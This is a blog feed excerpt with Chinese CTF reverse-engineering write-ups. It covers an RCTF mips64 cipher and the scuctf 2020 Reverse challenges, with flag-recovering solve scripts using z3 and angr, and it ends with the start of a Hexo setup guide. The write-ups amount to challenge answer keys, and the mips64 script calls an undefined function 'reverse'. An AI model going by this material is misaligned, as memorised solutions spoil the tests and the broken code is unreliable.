&lt;p&gt;一个mips64架构的Re题目。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;检查文件格式&lt;/h3&gt;
&lt;p&gt;检查文件是个一个mips64大端程序，穷人用不起IDA pro 7.5，只能上ghidra来进行反编译操作。&lt;/p&gt;
&lt;h3&gt;分析代码&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;题目给出了一个加密后的文本&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200602145422.CNEMW5Ig.png&amp;#x26;w=395&amp;#x26;h=89&amp;#x26;f=webp&quot; alt=&quot;12&quot;&gt;
最后多出来的0A是个换行符。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用ghidra反汇编，进入主函数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200602122538.DlsDQgZE.png&amp;#x26;w=508&amp;#x26;h=503&amp;#x26;f=webp&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间做随机种子， cipher应该就是加密函数了。&lt;/li&gt;
&lt;li&gt;进入cipher，发现有个循环，每16位为一组数据，由于我们结果为48位，所以应该是就分为三组进行操作。encrypt是加密函数，第一个参数是加密结果，第二个参数是输入内容。
&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200602122539.jbWCxtXZ.png&amp;#x26;w=581&amp;#x26;h=587&amp;#x26;f=webp&quot; alt=&quot;2&quot;&gt;&lt;/li&gt;
&lt;li&gt;再次进入encrypt函数，由于反汇编偏差，rand这个随机数参数未能识别传进来。in_a2就是这个参数。
&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200602122540.BU0T-lD8.png&amp;#x26;w=560&amp;#x26;h=568&amp;#x26;f=webp&quot; alt=&quot;3&quot;&gt;&lt;/li&gt;
&lt;li&gt;根据代码，修复一些变量名。
&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200602122541.CRDZJQj_.png&amp;#x26;w=631&amp;#x26;h=578&amp;#x26;f=webp&quot; alt=&quot;4&quot;&gt;&lt;/li&gt;
&lt;li&gt;while循环为主要加密过程，主要进行了一些位运算。，写出位运算逆向脚本&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;  ld =[s2]
  lc = [s1]
  for i in range(31):
    ld.append((rright(ld[i],8) + lc[i] ^ i)&amp;#x26;0xffffffffffffffff )
    lc.append(rright(lc[i],61) ^ ld[i+1])
  for i in range(31,-1,-1):
    x1 = rright(x1^x2,3)
    x2 = rright(((x2^lc[i])-x1)&amp;#x26;0xffffffffffffffff,56)    
  return x1,x2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解决思路&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;while循环中，srand未知，输出结果已知，输入内容未知。所以我们逆向出这个运算，还是需要得到srand值，才可能解决题目&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;srand 可以采取爆破的形式，由于比赛flag形式为RCTF{xxxxx},所以我们可以根据第一组数据进行爆破，得到srand。每个srand255（无符号）种情况，255*255总共65535种情况。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;for i in range(65536):
    s1 = i
    s2 = 0
    s1,s2 = struct.unpack(&apos;QQ&apos;,struct.pack(&apos;&gt;QQ&apos;,s1,s2))
    x1,x2 = reverse(lists2[0],lists2[1],s1,s2)
    str1 = struct.pack(&apos;&gt;Q&apos;,x1)
    if &apos;RCTF&apos; in str1:
        print(i)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;得到srand，然后直接逆向解决就好了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;for i in range(len(lists2)/2):
    s1,s2 = struct.unpack(&apos;QQ&apos;,struct.pack(&apos;&gt;QQ&apos;,4980,0))
    x1,x2 = reverse(lists2[2*i],lists2[2*i+1],s1,s2)
    flag += struct.pack(&apos;&gt;Q&apos;,x1)
    flag += struct.pack(&apos;&gt;Q&apos;,x2)
print (flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;exp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;
import struct

def encrypt(a,b,c,d ):
  b = (rright(b,8) + a ^ c)&amp;#x26;0xffffffffffffffff
  a = rright(a,61) ^ b
  for i in range(0x1f):
    d = (rright(d,8) + c ^ i)&amp;#x26;0xffffffffffffffff
    c = rright(c,61) ^ d
    b = (rright(b,8) + a ^ c)&amp;#x26;0xffffffffffffffff
    a = rright(a,61) ^ b    
  return a,b
  
def recerse(x1,x2,s1,s2):
  ld =[s2]
  lc = [s1]
  for i in range(31):
    ld.append((rright(ld[i],8) + lc[i] ^ i)&amp;#x26;0xffffffffffffffff )
    lc.append(rright(lc[i],61) ^ ld[i+1])
  for i in range(31,-1,-1):
    x1 = rright(x1^x2,3)
    x2 = rright(((x2^lc[i])-x1)&amp;#x26;0xffffffffffffffff,56)    
  return x1,x2

def rright(v,n):
  return ((v &gt;&gt; n) + (v &amp;#x3C;&amp;#x3C; (64-n)))&amp;#x26;0xffffffffffffffff
lists = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]
lists2 =[]
for i in lists:
    lists2.append(chr(i))
lists2 = struct.unpack(&apos;&gt;QQQQQQ&apos;,&apos;&apos;.join(lists2))
for i in range(65536):
    s1 = i
    s2 = 0
    s1,s2 = struct.unpack(&apos;QQ&apos;,struct.pack(&apos;&gt;QQ&apos;,s1,s2))
    x1,x2 = reverse(lists2[0],lists2[1],s1,s2)
    str1 = struct.pack(&apos;&gt;Q&apos;,x1)
    if &apos;RCTF&apos; in str1:
        print(i)
        break
    flag = &apos;&apos;
for i in range(len(lists2)/2):
    s1,s2 = struct.unpack(&apos;QQ&apos;,struct.pack(&apos;&gt;QQ&apos;,4980,0))
    x1,x2 = reverse(lists2[2*i],lists2[2*i+1],s1,s2)
    flag += struct.pack(&apos;&gt;Q&apos;,x1)
    flag += struct.pack(&apos;&gt;Q&apos;,x2)
print (flag)


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;这个题目比较坑的两个地方是注意大小端，还有就是加号与异或运算优先级，如果这两个搞错，很容易被卡住的。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>2020 geekgame(scuctf) Reverse出题思路&amp;writeup</title><link>https://minhal.me/blog/geekgamescuctf</link><guid isPermaLink="true">https://minhal.me/blog/geekgamescuctf</guid><description>2020 GeekGame Reverse 出题思路</description><pubDate>Sat, 23 May 2020 09:11:27 GMT</pubDate><content:encoded>&lt;p&gt;2020 scuctf 如期举行，比赛也相当激烈。正好要写官方wp，顺便更新到博客吧。&lt;/p&gt;
&lt;h2&gt;真正的签到&lt;/h2&gt;
&lt;h3&gt;出题思路&lt;/h3&gt;
&lt;p&gt;本身作为签到题就没必要太刁难人，主要考察脱压缩壳（re选手基础技能），正好在4月的脱壳分享会也说了要出一道这种题。脱完壳后就打算搞个简单的加减乘除，但是还是出题时候考虑不周，出现了多解的情况。（按照正常思路一般都是一个解。）&lt;/p&gt;
&lt;p&gt;问题主要出在当时做了一个除法的操作，因为C语言中5/2 与4/2都为2。&lt;/p&gt;
&lt;h3&gt;解题方法&lt;/h3&gt;
&lt;h4&gt;法1&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;第一步，查壳，发现为upx。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200526001329.Dj2rO2rM.png&amp;#x26;w=522&amp;#x26;h=257&amp;#x26;f=webp&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直接可以用脱壳软件脱壳也可esp定律等手动脱壳。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;脱壳后分析代码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200526001330.3OgvGQGA.png&amp;#x26;w=343&amp;#x26;h=485&amp;#x26;f=webp&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直接写脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include&amp;#x3C;stdio.h&gt;
#include&amp;#x3C;string.h&gt;
int main(){
  	char fstr[17] = &quot;pbm`KkL`dKQ2KeJLd&quot;;
  	char theflag[17];
	char flag[17] = &quot;scu_ctf_f4k3_f14g&quot;;	
	int i = 0;       
    for(i = 0; i &amp;#x3C; 17; i++)
    theflag[i] = fstr[i]*2-flag[i]; 
    for(i = 0; i &amp;#x3C; 17; i++)
    printf(&quot;%c&quot;,theflag[i]);      
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;法2&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;前面步骤一直，后面直接angr梭哈&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import angr
p = angr.Project(&apos;sign.exe&apos;, auto_load_libs=False)
st = p.factory.call_state(addr=0x401520, add_options=angr.options.unicorn)
sim = p.factory.simgr(st)
sim.explore(find=0x40155e, avoid=0x40156c)
print(sim.one_found.posix.dumps(0))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个地方就可以看出，有多解情况了。&lt;/p&gt;
&lt;h2&gt;太空大战&lt;/h2&gt;
&lt;h3&gt;出题思路&lt;/h3&gt;
&lt;p&gt;这题是由God sun出的，大概主要考察一个.net，加之让比赛变的更有趣一点，放了个小游戏上去。只要打完180个灰机（一个不落）控制台就会输出flag&lt;/p&gt;
&lt;p&gt;（180个飞机，无需逆向，轻轻松松就可以打败。&lt;/p&gt;
&lt;h3&gt;解题方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;关键代码在assets/bin/Date/Managed/Assembly-CSharp.dll&lt;/li&gt;
&lt;li&gt;⽤.NET Reflector打开分析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200526001334.CRURE_pI.jpg&amp;#x26;w=3492&amp;#x26;h=1566&amp;#x26;f=webp&quot; alt=&quot;3&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;经过分析可以得知，每击落一架分级，调用一次这个关键方法。由代码可以看到总共需要摧毁了180个。（其实总共也就180个）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;写解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import hashlib
mask =[49552,26516,15988,29987,52902,33151,8086,39920,3604,21497,19862,12268,50822,26111,35391,20661,6370,14029,26707,42890,19391,13836,61102,38705,45159,12927,47794,39183,20776,44532,18925,4854,60596,11941,28994,11166,57586,48918,13199,42006,62781,31480,50464,53893,21233,61456,55842,46591,10574,45253,50991,44866,45945,17105,27273,18925,41001,64310,51846,46279,14977,61079,26330,1192,61190,38989,36161,17001,38576,49567,55929,31759,54550,12759,13756,60929,36365,27308,57132,42483,42263,57086,55839,13568,37191,18388,34592,4189,65492,24673,27016,6941,33229,	4180,35454,64874,36708,22948]
l = len(mask)
secret = &quot;jFEQ6xFkUxKGzUbn&quot;

for i in range(1,181):
    secret = hashlib.md5((secret+str(mask[i%l])).encode()).hexdigest()
    if &apos;6a37460f25c719a4&apos; in secret:
        print (secret[0:16])
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;注意这里很多选手以为只调用一次，所以直接拿180%98 去处理，算出来的是错的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;PY 交易&lt;/h2&gt;
&lt;h3&gt;出题思路&lt;/h3&gt;
&lt;p&gt;这个题目出题主要想考察一下python的逆向，校内打校外比赛的不多，见得题目相对较少。所以本着拓宽学习的目的，出了这道还原字节码的题目。相对来说这道题不是太难，通过相关博客搜索，然后一步步分析还原，还原后dis检验。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;参考文章 &lt;a href=&quot;https://bbs.pediy.com/thread-246683.htm&quot;&gt;https://bbs.pediy.com/thread-246683.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解题方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先直接还原python代码就好了，还原结果如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;inputs = input(&quot;please your flag:&quot;)
inputs = inputs[7:-1]
flag = &quot;th31_scuctf_eXclus1v3&quot;
theflag = &quot;&quot;
i = 0
j =0 
print(flag[0])
if(len(flag) != len(inputs)):
    print(&quot;Error!&quot;)
for i in range(0,len(flag)-14):
    theflag += (chr(ord(flag[i])+ord(inputs[i+8])))
for i in range(10,len(flag)-6):
    theflag += (chr(ord(flag[i])+ord(inputs[i-8])))
    j = i+1
for i in range(j,len(flag)):
    theflag += (chr(ord(flag[i-3])+ord(inputs[i])))
flags =list(theflag)
for i in range(0,len(flags)//2):
    flags[i] = chr(ord(flags[i])+20)

#Flag scuctf{}
#The flag text starts with &quot;d1&quot; and the eighth bit is &quot;3&quot;
flagt = flags[len(flags)//2:len(flags)]
theflag = &quot;&quot;.join(flagt)
for k in range(0,len(flags)//2):
    theflag += &quot;&quot;.join(flags[k])
if(theflag == &apos;×\x8bÙÍ\x8cÓÜî¤ú±¬¤¤úÖíÒ&apos;):
    print(&quot;You win!&quot;)
else:
    print(&quot;Error!!!&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着就是逆向分析，写解题脚本&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;法1&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;enflag = &apos;×\x8bÙÍ\x8cÓÜî¤ú±¬¤¤úÖíÒ&apos;
flag = &apos;th31_scuctf_eXclus1v3&apos;
ans = &apos;d1&apos; + &apos;*&apos; * 19
step1 = enflag[9:] + enflag[0:9]
theflag =&apos;&apos;
for i in range(0,9):
    theflag += chr(ord(step1[i]) - 20)
theflag += step1[9:]
inputs = list(ans)
for i in range(0,7):
    inputs[i + 8] = chr(ord(theflag[i]) - ord(flag[i]))
for i in range(10,15):
    inputs[i - 8] = chr(ord(theflag[i - 3]) - ord(flag[i]))
for i in range(15,21):
    inputs[i] = chr(ord(theflag[i - 3]) - ord(flag[i - 3]))
inputs[7] = &apos;3&apos;
print(&apos;scuctf{&apos; + &apos;&apos;.join(inputs) + &apos;}&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;法2&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from z3 import *

flag = &quot;th31_scuctf_eXclus1v3&quot;
dist = &quot;×ÙÍÓÜî¤ú±¬¤¤úÖíÒ&quot;
inp = [BitVec((&apos;x%s&apos; % i), 8) for i in range(len(flag))]
theflag = []
for i in range(0, len(flag) - 14):
    theflag.append(ord(flag[i]) + inp[i + 8])
for i in range(10, len(flag) - 6):
    theflag.append(ord(flag[i]) + inp[i - 8])
for i in range(len(flag) - 6, len(flag)):
    theflag.append(ord(flag[i - 3]) + inp[i])
flags = [_ for _ in theflag]
for i in range(len(flags) // 2):
    flags[i] = flags[i] + 20

theflag = theflag[len(flags) // 2:]
for i in range(len(flags) // 2):
    theflag.append(flags[i])
solver = Solver()
for i in zip(theflag, dist):
    solver.append(i[0] == ord(i[1]))
solver.check()
model = solver.model()
for i, v in enumerate(inp):
    try:
        print(chr(model[v].as_long()), end=&apos;&apos;)
    except:
        print(&apos; &apos;, end=&apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;题目前两位和第八位无法解除，题目中已经提示具体字符&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ONIbase64&lt;/h2&gt;
&lt;h3&gt;出题思路&lt;/h3&gt;
&lt;p&gt;本道题主要就是考察一个ollvm平坦化。也没想到这么惨烈。&lt;/p&gt;
&lt;h3&gt;解题方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;文件拉到最后就可以看到编译器地址，直接把它pull下来，编译.s文件得到可执行文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拖入IDA分析，是个标准的平坦化。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200526001331.C2fuWoX9.png&amp;#x26;w=570&amp;#x26;h=475&amp;#x26;f=webp&quot; alt=&quot;6&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;参考&amp;#x3C;https://github.com/pcy190/deflat &gt;去除平坦化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后直接F5写解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from z3 import *
from functools import reduce
table = &apos;ZAnUX1W2oPNQ4sBMOd/+ChfGI5r8Hvt3uaLkbDgcyJYTipez6mxF0SEqRjVKwl97&apos;
coding = &apos;5auRs6a4A2lEUObG5+uoPGuWHnimZLXtvkyEHxCFoal5&apos;
dist = map(lambda x: BitVecVal(table.find(x), 6), coding)
flag = [BitVec(&apos;c%d&apos; % i, 8) for i in range(32)]
total = Concat(flag)
s = [Extract(32 * (i + 1) - 1, 32 * i, total) for i in range(8)]
temps = reduce(lambda x, y: x ^ y, s, 0)
s = [i ^ temps for i in s]
s.reverse()
total = Concat(s)
bits = [Extract(8 * (i + 1) - 1, 8 * i, total) for i in range(32)]
bits = bits + [reduce(lambda x, y: x ^ y, bits)]
tup = [bits[i:i + 3] for i in range(0, len(bits), 3)]
outs = []
padding = BitVecVal(0, 2)
for i, v in enumerate(tup):
    t = Concat(v)
    s1 = Extract(23, 18, t)
    s2 = Extract(17, 12, t)
    s3 = Extract(11, 6, t)
    s4 = Extract(5, 0, t)
    outs.append(s1)
    outs.append(s2)
    outs.append(s3)
    outs.append(s4)
    for v2 in tup[i + 1:]:
        v2[0] = v2[0] ^ Concat(padding, s1)
        v2[1] = v2[1] ^ Concat(padding, s2)
        v2[2] = v2[2] ^ Concat(padding, s3)
solve = Solver()
for i, v in enumerate(dist):
    solve.add(outs[i] == v)
solve.check()
model = solve.model()
print(&apos;&apos;.join(map(lambda x: chr(model.eval(x, 8).as_long()),
reversed(flag))))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;easy_re&amp;#x26;easy_base&lt;/h2&gt;
&lt;h3&gt;出题思路&lt;/h3&gt;
&lt;p&gt;既然要搞花样，当然少不当今最火的iot。采用腾讯TencentOS tiny 官方定制IoT开发板EVB_LX(暂时是限量的)编译环境： &lt;a href=&quot;https://github.com/Tencent/TencentOS-tiny&quot;&gt;https://github.com/Tencent/TencentOS-tiny&lt;/a&gt;两个题目，都是考察找到被替换的base64密码表，由于考虑到直接上base有点难，所以出了一个easy_re过渡。&lt;/p&gt;
&lt;p&gt;两个题目替换都涉及四段字符如下（把初始密码表拆分为四段）：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
&quot;abcdefghijklmnopqrstuvwxyz&quot;
&quot;0123456789&quot;
&quot;+/&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;easy_re是改变了这四段字符压栈顺序。没想到ida太过于智能化，显示结果即是正确压栈顺序。&lt;/p&gt;
&lt;p&gt;easy_base考察偏难了，主要是对这四段字符进行了一些变换，如果逆向分析的话需要学习risc-v指令集。&lt;/p&gt;
&lt;p&gt;当然，这两个题最简单的方法是把程序放入对应开发板里，他相应的串口也会输出字母表。&lt;/p&gt;
&lt;p&gt;做题过程中也发现一些选手拿到题目直接猜测arm架构，拿着ida 当arm分析，还原的内容是错的，无从下手。如果拿到文件后File一下也会知道是risc-v架构。不至于走偏。&lt;/p&gt;
&lt;h3&gt;解题方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，ida默认不支持risc-v，所以需要下载相关插件。&lt;a href=&quot;https://github.com/lcq2/riscv-ida&quot;&gt;https://github.com/lcq2/riscv-ida&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后，ida打开分析，直接就有正确的字母表压栈顺序，（原本是想让选手分析简单指令来确定或者爆破）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200526001332.Z6aa_H4H.png&amp;#x26;w=624&amp;#x26;h=258&amp;#x26;f=webp&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;得到 字母表就很容易解出来了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import base64
str1 = &quot;PalXPrhnOrLZT6PVQJ1oNr9dSqDVTbo==&quot;
string1 =
&quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/abcdefghijklmnopqrstuvwxyz&quot;
string2 =
&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;easy_base 的话就需要分析指令得出具体操作或者直接开发板跑一下得到输出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;看到大多数人解题无果，比赛最后放出了一个risc-v 64位的附件（代码一样），通过docker跑即可得到table。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200526001333.-MHIQIl_.jpg&amp;#x26;w=1632&amp;#x26;h=314&amp;#x26;f=webp&quot; alt=&quot;5&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后直接解密得到flag&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import base64
str1 = &quot;UoH+U/DJV/YlQdUOU94JPYxJgdHMUWK=&quot;
string1 =
&quot;a0b1c2d3e4f5g6h7i8j9ZYXWVUTSRQPON+klmnopqrABCDEFGHIJKLM/stuvwxyz&quot;
string2 =
&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;如果对题目感兴趣的，可以之后再研究。我附上题目主文件源代码&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &quot;mcu_init.h&quot;
#include &quot;tos_k.h&quot;

#define TASK_SIZE 1024
k_task_t k_task_task1;
k_task_t k_task_task2;
uint8_t k_task1_stk[TASK_SIZE];
uint8_t k_task2_stk[TASK_SIZE];

int share = 0xCBA7F9;
k_sem_t sem;
unsigned char *scuctf_flag_base64=&quot;UoH+U/DJV/YlQdUOU94JPYxJgdHMUWK=&quot;;
unsigned char base64_right[65]=&quot;&quot;;

void scuctf_base64(void)
{
	unsigned char base64_1[26]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;;
	unsigned char base64_2[26]=&quot;abcdefghijklmnopqrstuvwxyz&quot;;
	unsigned char base64_3[10]=&quot;0123456789&quot;;
	unsigned char base64_4[2]=&quot;+/&quot;;
	int i=0,j=0,k=0,q=25,r=10,n=0;
	for(i=0;i&amp;#x3C;20;)
	{
		base64_right[i]=base64_2[j];
		j++;
		base64_right[i+1]=base64_3[k];
		k++;
		i+=2;
	}
	for(i=20;i&amp;#x3C;33;i++)
	{
		base64_right[i]=base64_1[q];
		q--;
	}
	for(i=33;i&amp;#x3C;42;i++)
	{
		if(i==33)
		{
			base64_right[33]=base64_4[0];
		}
		else
		{
			base64_right[i]=base64_2[r];
			r++;
		}
	}
	for(i=42;i&amp;#x3C;64;i++)
	{
		if(n&amp;#x3C;13)
		{
			base64_right[i]=base64_1[n];
			n++;
		}
		else
		{
			if(i==55)
			{
				base64_right[i]=base64_4[1];
			}
			else
			{
				base64_right[i]=base64_2[r];
				r++;
			}
		}
	}
}

void task1(void *pdata)
{
    int task_cnt1 = 0;
    while (1) {
        printf(&quot;welcome scuctf from %s cnt: %d\n&quot;, __func__, task_cnt1++);
        tos_sem_pend(&amp;#x26;sem, ~0U);
        gpio_bit_write(GPIOA, GPIO_PIN_7, share % 2);
    }

}

void task2(void *pdata)
{
    int task_cnt2 = 0;
    scuctf_base64();
    while (1) {
        share++;
        for(int i=0; i&amp;#x3C;5; i++) {
            printf(&quot;Where is scuctf_base64? %s cnt: %08x\n%s&quot;, __func__, task_cnt2--,base64_right);
            tos_task_delay(50);
        }
        tos_sem_post(&amp;#x26;sem);
    }
}


void main(void) {
    board_init();

    usart0_init(115200);

    tos_knl_init();


    tos_task_create(&amp;#x26;k_task_task1, &quot;task1&quot;, task1, NULL, 3, k_task1_stk, TASK_SIZE, 0);
    tos_task_create(&amp;#x26;k_task_task2, &quot;task2&quot;, task2, NULL, 3, k_task2_stk, TASK_SIZE, 0);
    k_err_t err = tos_sem_create(&amp;#x26;sem, 1);
    if (err != K_ERR_NONE) {
        goto die;
    }
    tos_knl_start();
die:
    while (1) {
        asm(&quot;wfi;&quot;);
    }
}
int _put_char(int ch)
{
    usart_data_transmit(USART0, (uint8_t) ch );
    while (usart_flag_get(USART0, USART_FLAG_TBE)== RESET){
    }
    return ch;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;参考&lt;a href=&quot;https://github.com/riscv/riscv-isa-manual/releases&quot;&gt;https://github.com/riscv/riscv-isa-manual/releases&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;由于是普通校赛，题目也没出过分难，个人感觉难以把握还算可以。这次题目主要也本着打破传统scuctf 常规题目，一丢丢小小的创新。 .NET，risc-v，ollvm，apk，python等。即使这些可能在全国ctf中是常见题目，但是感觉校内还是几乎没出的。比赛过程中也发生了很多趣味东西，比如第一题一题多解，flag设置时候多加了空格导致选手提交报错等好多问题。&lt;/p&gt;
&lt;p&gt;总之希望scuctf越来越有趣，参与人数越来越多吧！&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>hexo+github+zeit Blog</title><link>https://minhal.me/blog/hexo-github-zeit-blog</link><guid isPermaLink="true">https://minhal.me/blog/hexo-github-zeit-blog</guid><description>Hexo 博客搭建教程</description><pubDate>Fri, 08 May 2020 21:32:52 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;年轻爱折腾，从wordpress—&gt;typecho—&gt;hexo，追求越来越轻量。&lt;/p&gt;
&lt;p&gt;网站托管于zeit+github，(zeit真香，速度相对快一些)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;hexo搭建&lt;/h2&gt;
&lt;h4&gt;安装git&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install git
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;nodejs&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install nodejs
sudo apt-get install npm
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;hexo&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;npm install -g hexo-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化hexo&lt;/p&gt;
&lt;p&gt;blog是文件名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hexo init blog
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入blog文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接通过下面命令本地查看效果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hexo g
hexo server
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;github&lt;/h4&gt;
&lt;p&gt;github 新建公开仓库&lt;/p&gt;
&lt;p&gt;githubname.github.io&lt;/p&gt;
&lt;h4&gt;生成ssh添加到github&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;git config --global user.name &quot;yourname&quot;
git config --global user.email &quot;youremail&quot;

##检查
git config user.name
git config user.email

ssh-keygen -t rsa -C &quot;youremail&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成.ssh 文件&lt;/p&gt;
